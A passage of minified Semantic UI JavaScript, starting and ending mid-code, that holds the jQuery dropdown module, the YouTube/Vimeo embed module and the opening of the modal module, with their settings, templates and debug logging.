n,o,a,r,s,l,c,u,d,f=5;e=e||k.get.selectedItem(),n=e.closest(D.menu),o=e&&e.length>0,t=t!==i&&t,e&&n.length>0&&o&&(r=e.position().top,n.addClass(T.loading),l=n.scrollTop(),s=n.offset().top,r=e.offset().top,a=l-s+r,t||(c=n.height(),d=l+c<a+f,u=a-f<l),k.debug("Scrolling to active item",a),(t||u||d)&&n.scrollTop(a),n.removeClass(T.loading))},text:function(e){"select"!==S.action&&("combo"==S.action?(k.debug("Changing combo button text",e,B),S.preserveHTML?B.html(e):B.text(e)):(e!==k.get.placeholderText()&&N.removeClass(T.placeholder),k.debug("Changing text",e,N),N.removeClass(T.filtered),S.preserveHTML?N.html(e):N.text(e)))},selectedItem:function(e){var t=k.get.choiceValue(e),n=k.get.choiceText(e,!1);k.debug("Setting user selection to item",e),k.remove.activeItem(),k.set.partialSearch(n),k.set.activeItem(e),k.set.selected(t,e),k.set.text(n)},selectedLetter:function(t){var n,i=X.filter("."+T.selected),o=i.length>0&&k.has.firstLetter(i,t),a=!1;o&&(n=i.nextAll(X).eq(0),k.has.firstLetter(n,t)&&(a=n)),a||X.each(function(){if(k.has.firstLetter(e(this),t))return a=e(this),!1}),a&&(k.verbose("Scrolling to next value with letter",t),k.set.scrollPosition(a),i.removeClass(T.selected),a.addClass(T.selected),S.selectOnKeydown&&k.is.single()&&k.set.selectedItem(a))},direction:function(e){"auto"==S.direction?k.is.onScreen(e)?k.remove.upward(e):k.set.upward(e):"upward"==S.direction&&k.set.upward(e)},upward:function(e){var t=e||I;t.addClass(T.upward)},value:function(e,t,n){var o=k.escape.value(e),a=U.length>0,r=(!k.has.value(e),k.get.values()),s=e!==i?String(e):e;if(a){if(!S.allowReselection&&s==r&&(k.verbose("Skipping value update already same value",e,r),!k.is.initialLoad()))return;k.is.single()&&k.has.selectInput()&&k.can.extendSelect()&&(k.debug("Adding user option",e),k.add.optionValue(e)),k.debug("Updating input value",o,r),K=!0,U.val(o),S.fireOnInit===!1&&k.is.initialLoad()?k.debug("Input native change event ignored on initial load"):k.trigger.change(),K=!1}else k.verbose("Storing value in metadata",o,U),o!==r&&I.data(P.value,s);S.fireOnInit===!1&&k.is.initialLoad()?k.verbose("No callback on initial load",S.onChange):S.onChange.call(Z,e,t,n)},active:function(){I.addClass(T.active)},multiple:function(){I.addClass(T.multiple)},visible:function(){I.addClass(T.visible)},exactly:function(e,t){k.debug("Setting selected to exact values"),k.clear(),k.set.selected(e,t)},selected:function(t,n){var i=k.is.multiple();n=S.allowAdditions?n||k.get.itemWithAdditions(t):n||k.get.item(t),n&&(k.debug("Setting selected menu item to",n),k.is.multiple()&&k.remove.searchWidth(),k.is.single()?(k.remove.activeItem(),k.remove.selectedItem()):S.useLabels&&k.remove.selectedItem(),n.each(function(){var t=e(this),o=k.get.choiceText(t),a=k.get.choiceValue(t,o),r=t.hasClass(T.filtered),s=t.hasClass(T.active),l=t.hasClass(T.addition),c=i&&1==n.length;i?!s||l?(S.apiSettings&&S.saveRemoteData&&k.save.remoteData(o,a),S.useLabels?(k.add.value(a,o,t),k.add.label(a,o,c),k.set.activeItem(t),k.filterActive(),k.select.nextAvailable(n)):(k.add.value(a,o,t),k.set.text(k.add.variables(A.count)),k.set.activeItem(t))):r||(k.debug("Selected active value, removing label"),k.remove.selected(a)):(S.apiSettings&&S.saveRemoteData&&k.save.remoteData(o,a),k.set.text(o),k.set.value(a,o,t),t.addClass(T.active).addClass(T.selected))}))}},add:{label:function(t,n,i){var o,a=k.is.searchSelection()?V:N,r=k.escape.value(t);return o=e("<a />").addClass(T.label).attr("data-value",r).html(j.label(r,n)),o=S.onLabelCreate.call(o,r,n),k.has.label(t)?void k.debug("Label already exists, skipping",r):(S.label.variation&&o.addClass(S.label.variation),void(i===!0?(k.debug("Animating in label",o),o.addClass(T.hidden).insertBefore(a).transition(S.label.transition,S.label.duration)):(k.debug("Adding selection label",o),o.insertBefore(a))))},message:function(t){var n=Q.children(D.message),i=S.templates.message(k.add.variables(t));n.length>0?n.html(i):n=e("<div/>").html(i).addClass(T.message).appendTo(Q)},optionValue:function(t){var n=k.escape.value(t),i=U.find('option[value="'+n+'"]'),o=i.length>0;o||(k.disconnect.selectObserver(),k.is.single()&&(k.verbose("Removing previous user addition"),U.find("option."+T.addition).remove()),e("<option/>").prop("value",n).addClass(T.addition).html(t).appendTo(U),k.verbose("Adding user addition as an <option>",t),k.observe.select())},userSuggestion:function(e){var t,n=Q.children(D.addition),i=k.get.item(e),o=i&&i.not(D.addition).length,a=n.length>0;if(!S.useLabels||!k.has.maxSelections()){if(""===e||o)return void n.remove();a?(n.data(P.value,e).data(P.text,e).attr("data-"+P.value,e).attr("data-"+P.text,e).removeClass(T.filtered),S.hideAdditions||(t=S.templates.addition(k.add.variables(A.addResult,e)),n.html(t)),k.verbose("Replacing user suggestion with new value",n)):(n=k.create.userChoice(e),n.prependTo(Q),k.verbose("Adding item choice to menu corresponding with user choice addition",n)),S.hideAdditions&&!k.is.allFiltered()||n.addClass(T.selected).siblings().removeClass(T.selected),k.refreshItems()}},variables:function(e,t){var n,i,o=e.search("{count}")!==-1,a=e.search("{maxCount}")!==-1,r=e.search("{term}")!==-1;return k.verbose("Adding templated variables to message",e),o&&(n=k.get.selectionCount(),e=e.replace("{count}",n)),a&&(n=k.get.selectionCount(),e=e.replace("{maxCount}",S.maxSelections)),r&&(i=t||k.get.query(),e=e.replace("{term}",i)),e},value:function(t,n,i){var o,a=k.get.values();return""===t?void k.debug("Cannot select blank values from multiselect"):(e.isArray(a)?(o=a.concat([t]),o=k.get.uniqueArray(o)):o=[t],k.has.selectInput()?k.can.extendSelect()&&(k.debug("Adding value to select",t,o,U),k.add.optionValue(t)):(o=o.join(S.delimiter),k.debug("Setting hidden input to delimited value",o,U)),S.fireOnInit===!1&&k.is.initialLoad()?k.verbose("Skipping onadd callback on initial load",S.onAdd):S.onAdd.call(Z,t,n,i),k.set.value(o,t,n,i),void k.check.maxSelections())}},remove:{active:function(){I.removeClass(T.active)},activeLabel:function(){I.find(D.label).removeClass(T.active)},empty:function(){I.removeClass(T.empty)},loading:function(){I.removeClass(T.loading)},initialLoad:function(){h=!1},upward:function(e){var t=e||I;t.removeClass(T.upward)},visible:function(){I.removeClass(T.visible)},activeItem:function(){X.removeClass(T.active)},filteredItem:function(){S.useLabels&&k.has.maxSelections()||(S.useLabels&&k.is.multiple()?X.not("."+T.active).removeClass(T.filtered):X.removeClass(T.filtered),k.remove.empty())},optionValue:function(e){var t=k.escape.value(e),n=U.find('option[value="'+t+'"]'),i=n.length>0;i&&n.hasClass(T.addition)&&(C&&(C.disconnect(),k.verbose("Temporarily disconnecting mutation observer")),n.remove(),k.verbose("Removing user addition as an <option>",t),C&&C.observe(U[0],{childList:!0,subtree:!0}))},message:function(){Q.children(D.message).remove()},searchWidth:function(){V.css("width","")},searchTerm:function(){k.verbose("Cleared search term"),V.val(""),k.set.filtered()},userAddition:function(){X.filter(D.addition).remove()},selected:function(t,n){return!!(n=S.allowAdditions?n||k.get.itemWithAdditions(t):n||k.get.item(t))&&void n.each(function(){var t=e(this),n=k.get.choiceText(t),i=k.get.choiceValue(t,n);k.is.multiple()?S.useLabels?(k.remove.value(i,n,t),k.remove.label(i)):(k.remove.value(i,n,t),0===k.get.selectionCount()?k.set.placeholderText():k.set.text(k.add.variables(A.count))):k.remove.value(i,n,t),t.removeClass(T.filtered).removeClass(T.active),S.useLabels&&t.removeClass(T.selected)})},selectedItem:function(){X.removeClass(T.selected)},value:function(e,t,n){var i,o=k.get.values();k.has.selectInput()?(k.verbose("Input is <select> removing selected option",e),i=k.remove.arrayValue(e,o),k.remove.optionValue(e)):(k.verbose("Removing from delimited values",e),i=k.remove.arrayValue(e,o),i=i.join(S.delimiter)),S.fireOnInit===!1&&k.is.initialLoad()?k.verbose("No callback on initial load",S.onRemove):S.onRemove.call(Z,e,t,n),k.set.value(i,t,n),k.check.maxSelections()},arrayValue:function(t,n){return e.isArray(n)||(n=[n]),n=e.grep(n,function(e){return t!=e}),k.verbose("Removed value from delimited string",t,n),n},label:function(e,t){var n=I.find(D.label),i=n.filter('[data-value="'+e+'"]');k.verbose("Removing label",i),i.remove()},activeLabels:function(e){e=e||I.find(D.label).filter("."+T.active),k.verbose("Removing active label selections",e),k.remove.labels(e)},labels:function(t){t=t||I.find(D.label),k.verbose("Removing labels",t),t.each(function(){var t=e(this),n=t.data(P.value),o=n!==i?String(n):n,a=k.is.userValue(o);return S.onLabelRemove.call(t,n)===!1?void k.debug("Label remove callback cancelled removal"):(k.remove.message(),void(a?(k.remove.value(o),k.remove.label(o)):k.remove.selected(o)))})},tabbable:function(){k.has.search()?(k.debug("Searchable dropdown initialized"),V.removeAttr("tabindex"),Q.removeAttr("tabindex")):(k.debug("Simple selection dropdown initialized"),I.removeAttr("tabindex"),Q.removeAttr("tabindex"))}},has:{menuSearch:function(){return k.has.search()&&V.closest(Q).length>0},search:function(){return V.length>0},sizer:function(){return H.length>0},selectInput:function(){return U.is("select")},minCharacters:function(e){return!S.minCharacters||(e=e!==i?String(e):String(k.get.query()),e.length>=S.minCharacters)},firstLetter:function(e,t){var n,i;return!(!e||0===e.length||"string"!=typeof t)&&(n=k.get.choiceText(e,!1),t=t.toLowerCase(),i=String(n).charAt(0).toLowerCase(),t==i)},input:function(){return U.length>0},items:function(){return X.length>0},menu:function(){return Q.length>0},message:function(){return 0!==Q.children(D.message).length},label:function(e){var t=k.escape.value(e),n=I.find(D.label);return n.filter('[data-value="'+t+'"]').length>0},maxSelections:function(){return S.maxSelections&&k.get.selectionCount()>=S.maxSelections},allResultsFiltered:function(){var e=X.not(D.addition);return e.filter(D.unselectable).length===e.length},userSuggestion:function(){return Q.children(D.addition).length>0},query:function(){return""!==k.get.query()},value:function(t){var n=k.get.values(),i=e.isArray(n)?n&&e.inArray(t,n)!==-1:n==t;return!!i}},is:{active:function(){return I.hasClass(T.active)},bubbledLabelClick:function(t){return e(t.target).is("select, input")&&I.closest("label").length>0},bubbledIconClick:function(t){return e(t.target).closest(W).length>0},alreadySetup:function(){return I.is("select")&&I.parent(D.dropdown).length>0&&0===I.prev().length},animating:function(e){return e?e.transition&&e.transition("is animating"):Q.transition&&Q.transition("is animating")},disabled:function(){return I.hasClass(T.disabled)},focused:function(){return n.activeElement===I[0]},focusedOnSearch:function(){return n.activeElement===V[0]},allFiltered:function(){return(k.is.multiple()||k.has.search())&&!(0==S.hideAdditions&&k.has.userSuggestion())&&!k.has.message()&&k.has.allResultsFiltered()},hidden:function(e){return!k.is.visible(e)},initialLoad:function(){return h},onScreen:function(e){var t,n=e||Q,i=!0,o={};return n.addClass(T.loading),t={context:{scrollTop:L.scrollTop(),height:L.outerHeight()},menu:{offset:n.offset(),height:n.outerHeight()}},o={above:t.context.scrollTop<=t.menu.offset.top-t.menu.height,below:t.context.scrollTop+t.context.height>=t.menu.offset.top+t.menu.height},o.below?(k.verbose("Dropdown can fit in context downward",o),i=!0):o.below||o.above?(k.verbose("Dropdown cannot fit below, opening upward",o),i=!1):(k.verbose("Dropdown cannot fit in either direction, favoring downward",o),i=!0),n.removeClass(T.loading),i},inObject:function(t,n){var i=!1;return e.each(n,function(e,n){if(n==t)return i=!0,!0}),i},multiple:function(){return I.hasClass(T.multiple)},single:function(){return!k.is.multiple()},selectMutation:function(t){var n=!1;return e.each(t,function(t,i){if(i.target&&e(i.target).is("select"))return n=!0,!0}),n},search:function(){return I.hasClass(T.search)},searchSelection:function(){return k.has.search()&&1===V.parent(D.dropdown).length},selection:function(){return I.hasClass(T.selection)},userValue:function(t){return e.inArray(t,k.get.userValues())!==-1},upward:function(e){var t=e||I;return t.hasClass(T.upward)},visible:function(e){return e?e.hasClass(T.visible):Q.hasClass(T.visible)}},can:{activate:function(e){return!!S.useLabels||(!k.has.maxSelections()||!(!k.has.maxSelections()||!e.hasClass(T.active)))},click:function(){return c||"click"==S.on},extendSelect:function(){return S.allowAdditions||S.apiSettings},show:function(){return!k.is.disabled()&&(k.has.items()||k.has.message())},useAPI:function(){return e.fn.api!==i}},animate:{show:function(t,n){var o,a=n||Q,r=n?function(){}:function(){k.hideSubMenus(),k.hideOthers(),k.set.active()};t=e.isFunction(t)?t:function(){},k.verbose("Doing menu show animation",a),k.set.direction(n),o=k.get.transition(n),k.is.selection()&&k.set.scrollPosition(k.get.selectedItem(),!0),(k.is.hidden(a)||k.is.animating(a))&&("none"==o?(r(),a.transition("show"),t.call(Z)):e.fn.transition!==i&&I.transition("is supported")?a.transition({animation:o+" in",debug:S.debug,verbose:S.verbose,duration:S.duration,queue:!0,onStart:r,onComplete:function(){t.call(Z)}}):k.error(q.noTransition,o))},hide:function(t,n){var o=n||Q,a=(n?.9*S.duration:S.duration,n?function(){}:function(){k.can.click()&&k.unbind.intent(),k.remove.active()}),r=k.get.transition(n);t=e.isFunction(t)?t:function(){},(k.is.visible(o)||k.is.animating(o))&&(k.verbose("Doing menu hide animation",o),"none"==r?(a(),o.transition("hide"),t.call(Z)):e.fn.transition!==i&&I.transition("is supported")?o.transition({animation:r+" out",duration:S.duration,debug:S.debug,verbose:S.verbose,queue:!0,onStart:a,onComplete:function(){"auto"==S.direction&&k.remove.upward(n),t.call(Z)}}):k.error(q.transition))}},hideAndClear:function(){k.remove.searchTerm(),k.has.maxSelections()||(k.has.search()?k.hide(function(){k.remove.filteredItem()}):k.hide())},delay:{show:function(){k.verbose("Delaying show event to ensure user intent"),clearTimeout(k.timer),k.timer=setTimeout(k.show,S.delay.show)},hide:function(){k.verbose("Delaying hide event to ensure user intent"),clearTimeout(k.timer),k.timer=setTimeout(k.hide,S.delay.hide)}},escape:{value:function(t){var n=e.isArray(t),i="string"==typeof t,o=!i&&!n,a=i&&t.search(O.quote)!==-1,r=[];return k.has.selectInput()&&!o&&a?(k.debug("Encoding quote values for use in select",t),n?(e.each(t,function(e,t){r.push(t.replace(O.quote,"&quot;"))}),r):t.replace(O.quote,"&quot;")):t},regExp:function(e){return e=String(e),e.replace(O.escape,"\\$&")}},setting:function(t,n){if(k.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,S,t);else{if(n===i)return S[t];e.isPlainObject(S[t])?e.extend(!0,S[t],n):S[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,k,t);else{if(n===i)return k[t];k[t]=n}},debug:function(){!S.silent&&S.debug&&(S.performance?k.performance.log(arguments):(k.debug=Function.prototype.bind.call(console.info,console,S.name+":"),k.debug.apply(console,arguments)))},verbose:function(){!S.silent&&S.verbose&&S.debug&&(S.performance?k.performance.log(arguments):(k.verbose=Function.prototype.bind.call(console.info,console,S.name+":"),k.verbose.apply(console,arguments)))},error:function(){S.silent||(k.error=Function.prototype.bind.call(console.error,console,S.name+":"),k.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;S.performance&&(t=(new Date).getTime(),i=u||t,n=t-i,u=t,d.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:Z,"Execution Time":n})),clearTimeout(k.performance.timer),k.performance.timer=setTimeout(k.performance.display,500)},display:function(){var t=S.name+":",n=0;u=!1,clearTimeout(k.performance.timer),e.each(d,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",l&&(t+=" '"+l+"'"),(console.group!==i||console.table!==i)&&d.length>0&&(console.groupCollapsed(t),console.table?console.table(d):e.each(d,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),d=[]}},invoke:function(t,n,o){var r,s,l,c=J;return n=n||g,o=Z||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(k.error(q.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},m?(J===i&&k.initialize(),k.invoke(f)):(J!==i&&J.invoke("destroy"), k.initialize())}),a!==i?a:r},e.fn.dropdown.settings={silent:!1,debug:!1,verbose:!1,performance:!0,on:"click",action:"activate",apiSettings:!1,selectOnKeydown:!0,minCharacters:0,saveRemoteData:!0,throttle:200,context:t,direction:"auto",keepOnScreen:!0,match:"both",fullTextSearch:!1,placeholder:"auto",preserveHTML:!0,sortSelect:!1,forceSelection:!0,allowAdditions:!1,hideAdditions:!0,maxSelections:!1,useLabels:!0,delimiter:",",showOnFocus:!0,allowReselection:!1,allowTab:!0,allowCategorySelection:!1,fireOnInit:!1,transition:"auto",duration:200,glyphWidth:1.037,label:{transition:"scale",duration:200,variation:!1},delay:{hide:300,show:200,search:20,touch:50},onChange:function(e,t,n){},onAdd:function(e,t,n){},onRemove:function(e,t,n){},onLabelSelect:function(e){},onLabelCreate:function(t,n){return e(this)},onLabelRemove:function(e){return!0},onNoResults:function(e){return!0},onShow:function(){},onHide:function(){},name:"Dropdown",namespace:"dropdown",message:{addResult:"Add <b>{term}</b>",count:"{count} selected",maxSelections:"Max {maxCount} selections",noResults:"No results found.",serverError:"There was an error contacting the server"},error:{action:"You called a dropdown action that was not defined",alreadySetup:"Once a select has been initialized behaviors must be called on the created ui dropdown",labels:"Allowing user additions currently requires the use of labels.",missingMultiple:"<select> requires multiple property to be set to correctly preserve multiple values",method:"The method you called is not defined.",noAPI:"The API module is required to load resources remotely",noStorage:"Saving remote data requires session storage",noTransition:"This module requires ui transitions <path_to_url"},regExp:{escape:/[-[\]{}()*+?.,\\^$|#\s]/g,quote:/"/g},metadata:{defaultText:"defaultText",defaultValue:"defaultValue",placeholderText:"placeholder",text:"text",value:"value"},fields:{remoteValues:"results",values:"values",disabled:"disabled",name:"name",value:"value",text:"text"},keys:{backspace:8,delimiter:188,deleteKey:46,enter:13,escape:27,pageUp:33,pageDown:34,leftArrow:37,upArrow:38,rightArrow:39,downArrow:40},selector:{addition:".addition",dropdown:".ui.dropdown",hidden:".hidden",icon:"> .dropdown.icon",input:'> input[type="hidden"], > select',item:".item",label:"> .label",remove:"> .label > .delete.icon",siblingLabel:".label",menu:".menu",message:".message",menuIcon:".dropdown.icon",search:"input.search, .menu > .search > input, .menu input.search",sizer:"> input.sizer",text:"> .text:not(.icon)",unselectable:".disabled, .filtered"},className:{active:"active",addition:"addition",animating:"animating",disabled:"disabled",empty:"empty",dropdown:"ui dropdown",filtered:"filtered",hidden:"hidden transition",item:"item",label:"ui label",loading:"loading",menu:"menu",message:"message",multiple:"multiple",placeholder:"default",sizer:"sizer",search:"search",selected:"selected",selection:"selection",upward:"upward",visible:"visible"}},e.fn.dropdown.settings.templates={dropdown:function(t){var n=t.placeholder||!1,i=(t.values||{},"");return i+='<i class="dropdown icon"></i>',i+=t.placeholder?'<div class="default text">'+n+"</div>":'<div class="text"></div>',i+='<div class="menu">',e.each(t.values,function(e,t){i+=t.disabled?'<div class="disabled item" data-value="'+t.value+'">'+t.name+"</div>":'<div class="item" data-value="'+t.value+'">'+t.name+"</div>"}),i+="</div>"},menu:function(t,n){var i=t[n.values]||{},o="";return e.each(i,function(e,t){var i=t[n.text]?'data-text="'+t[n.text]+'"':"",a=t[n.disabled]?"disabled ":"";o+='<div class="'+a+'item" data-value="'+t[n.value]+'"'+i+">",o+=t[n.name],o+="</div>"}),o},label:function(e,t){return t+'<i class="delete icon"></i>'},message:function(e){return e},addition:function(e){return e}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.embed=function(n){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var f,m=e.isPlainObject(n)?e.extend(!0,{},e.fn.embed.settings,n):e.extend({},e.fn.embed.settings),g=m.selector,p=m.className,h=m.sources,v=m.error,b=m.metadata,y=m.namespace,x=m.templates,C="."+y,w="module-"+y,k=(e(t),e(this)),S=k.find(g.placeholder),T=k.find(g.icon),A=k.find(g.embed),R=this,E=k.data(w);f={initialize:function(){f.debug("Initializing embed"),f.determine.autoplay(),f.create(),f.bind.events(),f.instantiate()},instantiate:function(){f.verbose("Storing instance of module",f),E=f,k.data(w,f)},destroy:function(){f.verbose("Destroying previous instance of embed"),f.reset(),k.removeData(w).off(C)},refresh:function(){f.verbose("Refreshing selector cache"),S=k.find(g.placeholder),T=k.find(g.icon),A=k.find(g.embed)},bind:{events:function(){f.has.placeholder()&&(f.debug("Adding placeholder events"),k.on("click"+C,g.placeholder,f.createAndShow).on("click"+C,g.icon,f.createAndShow))}},create:function(){var e=f.get.placeholder();e?f.createPlaceholder():f.createAndShow()},createPlaceholder:function(e){var t=f.get.icon(),n=f.get.url();f.generate.embed(n);e=e||f.get.placeholder(),k.html(x.placeholder(e,t)),f.debug("Creating placeholder for embed",e,t)},createEmbed:function(t){f.refresh(),t=t||f.get.url(),A=e("<div/>").addClass(p.embed).html(f.generate.embed(t)).appendTo(k),m.onCreate.call(R,t),f.debug("Creating embed object",A)},changeEmbed:function(e){A.html(f.generate.embed(e))},createAndShow:function(){f.createEmbed(),f.show()},change:function(e,t,n){f.debug("Changing video to ",e,t,n),k.data(b.source,e).data(b.id,t),n?k.data(b.url,n):k.removeData(b.url),f.has.embed()?f.changeEmbed():f.create()},reset:function(){f.debug("Clearing embed and showing placeholder"),f.remove.active(),f.remove.embed(),f.showPlaceholder(),m.onReset.call(R)},show:function(){f.debug("Showing embed"),f.set.active(),m.onDisplay.call(R)},hide:function(){f.debug("Hiding embed"),f.showPlaceholder()},showPlaceholder:function(){f.debug("Showing placeholder image"),f.remove.active(),m.onPlaceholderDisplay.call(R)},get:{id:function(){return m.id||k.data(b.id)},placeholder:function(){return m.placeholder||k.data(b.placeholder)},icon:function(){return m.icon?m.icon:k.data(b.icon)!==i?k.data(b.icon):f.determine.icon()},source:function(e){return m.source?m.source:k.data(b.source)!==i?k.data(b.source):f.determine.source()},type:function(){var e=f.get.source();return h[e]!==i&&h[e].type},url:function(){return m.url?m.url:k.data(b.url)!==i?k.data(b.url):f.determine.url()}},determine:{autoplay:function(){f.should.autoplay()&&(m.autoplay=!0)},source:function(t){var n=!1;return t=t||f.get.url(),t&&e.each(h,function(e,i){if(t.search(i.domain)!==-1)return n=e,!1}),n},icon:function(){var e=f.get.source();return h[e]!==i&&h[e].icon},url:function(){var e,t=m.id||k.data(b.id),n=m.source||k.data(b.source);return e=h[n]!==i&&h[n].url.replace("{id}",t),e&&k.data(b.url,e),e}},set:{active:function(){k.addClass(p.active)}},remove:{active:function(){k.removeClass(p.active)},embed:function(){A.empty()}},encode:{parameters:function(e){var t,n=[];for(t in e)n.push(encodeURIComponent(t)+"="+encodeURIComponent(e[t]));return n.join("&amp;")}},generate:{embed:function(e){f.debug("Generating embed html");var t,n,i=f.get.source();return e=f.get.url(e),e?(n=f.generate.parameters(i),t=x.iframe(e,n)):f.error(v.noURL,k),t},parameters:function(t,n){var o=h[t]&&h[t].parameters!==i?h[t].parameters(m):{};return n=n||m.parameters,n&&(o=e.extend({},o,n)),o=m.onEmbed(o),f.encode.parameters(o)}},has:{embed:function(){return A.length>0},placeholder:function(){return m.placeholder||k.data(b.placeholder)}},should:{autoplay:function(){return"auto"===m.autoplay?m.placeholder||k.data(b.placeholder)!==i:m.autoplay}},is:{video:function(){return"video"==f.get.type()}},setting:function(t,n){if(f.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},debug:function(){!m.silent&&m.debug&&(m.performance?f.performance.log(arguments):(f.debug=Function.prototype.bind.call(console.info,console,m.name+":"),f.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?f.performance.log(arguments):(f.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),f.verbose.apply(console,arguments)))},error:function(){m.silent||(f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:R,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,500)},display:function(){var t=m.name+":",n=0;s=!1,clearTimeout(f.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),a.length>1&&(t+=" ("+a.length+")"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=E;return n=n||d,a=R||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(f.error(v.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},u?(E===i&&f.initialize(),f.invoke(c)):(E!==i&&E.invoke("destroy"),f.initialize())}),o!==i?o:this},e.fn.embed.settings={name:"Embed",namespace:"embed",silent:!1,debug:!1,verbose:!1,performance:!0,icon:!1,source:!1,url:!1,id:!1,autoplay:"auto",color:"#444444",hd:!0,brandedUI:!1,parameters:!1,onDisplay:function(){},onPlaceholderDisplay:function(){},onReset:function(){},onCreate:function(e){},onEmbed:function(e){return e},metadata:{id:"id",icon:"icon",placeholder:"placeholder",source:"source",url:"url"},error:{noURL:"No URL specified",method:"The method you called is not defined"},className:{active:"active",embed:"embed"},selector:{embed:".embed",placeholder:".placeholder",icon:".icon"},sources:{youtube:{name:"youtube",type:"video",icon:"video play",domain:"youtube.com",url:"//www.youtube.com/embed/{id}",parameters:function(e){return{autohide:!e.brandedUI,autoplay:e.autoplay,color:e.color||i,hq:e.hd,jsapi:e.api,modestbranding:!e.brandedUI}}},vimeo:{name:"vimeo",type:"video",icon:"video play",domain:"vimeo.com",url:"//player.vimeo.com/video/{id}",parameters:function(e){return{api:e.api,autoplay:e.autoplay,byline:e.brandedUI,color:e.color||i,portrait:e.brandedUI,title:e.brandedUI}}}},templates:{iframe:function(e,t){var n=e;return t&&(n+="?"+t),'<iframe src="'+n+'" width="100%" height="100%" frameborder="0" scrolling="no" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>'},placeholder:function(e,t){var n="";return t&&(n+='<i class="'+t+' icon"></i>'),e&&(n+='<img class="placeholder" src="'+e+'">'),n}},api:!1,onPause:function(){},onPlay:function(){},onStop:function(){}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.modal=function(o){var a,r=e(this),s=e(t),l=e(n),c=e("body"),u=r.selector||"",d=(new Date).getTime(),f=[],m=arguments[0],g="string"==typeof m,p=[].slice.call(arguments,1),h=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return r.each(function(){var r,v,b,y,x,C,w,k,S,T=e.isPlainObject(o)?e.extend(!0,{},e.fn.modal.settings,o):e.extend({},e.fn.modal.settings),A=T.selector,R=T.className,E=T.namespace,P=T.error,F="."+E,O="module-"+E,D=e(this),q=e(T.context),j=D.find(A.close),z=this,M=D.data(O);S={initialize:function(){S.verbose("Initializing dimmer",q),S.create.id(),S.create.dimmer(),S.refreshModals(),S.bind.events(),T.observeChanges&&S.observeChanges(),S.instantiate()},instantiate:function(){S.verbose("Storing instance of modal"),M=S,D.data(O,M)},create:{dimmer:function(){var t={debug:T.debug,dimmerName:"modals",duration:{show:T.duration,hide:T.duration}},n=e.extend(!0,t,T.dimmerSettings);return T.inverted&&(n.variation=n.variation!==i?n.variation+" inverted":"inverted"),e.fn.dimmer===i?void S.error(P.dimmer):(S.debug("Creating dimmer with settings",n),y=q.dimmer(n),T.detachable?(S.verbose("Modal is detachable, moving content into dimmer"),y.dimmer("add content",D)):S.set.undetached(),T.blurring&&y.addClass(R.blurring),void(x=y.dimmer("get dimmer")))},id:function(){w=(Math.random().toString(16)+"000000000").substr(2,8),C="."+w,S.verbose("Creating unique id for element",w)}},destroy:function(){S.verbose("Destroying previous modal"),D.removeData(O).off(F),s.off(C),x.off(C),j.off(F),q.dimmer("destroy")},observeChanges:function(){"MutationObserver"in t&&(k=new MutationObserver(function(e){S.debug("DOM tree modified, refreshing"),S.refresh()}),k.observe(z,{childList:!0,subtree:!0}),S.debug("Setting up mutation observer",k))},refresh:function(){S.remove.scrolling(),S.cacheSizes(),S.set.screenHeight(),S.set.type(),S.set.position()},refreshModals:function(){v=D.siblings(A.modal),r=v.add(D)},attachEvents:function(t,n){var i=e(t);n=e.isFunction(S[n])?S[n]:S.toggle,i.length>0?(S.debug("Attaching modal events to element",t,n),i.off(F).on("click"+F,n)):S.error(P.notFound,t)},bind:{events:function(){S.verbose("Attaching 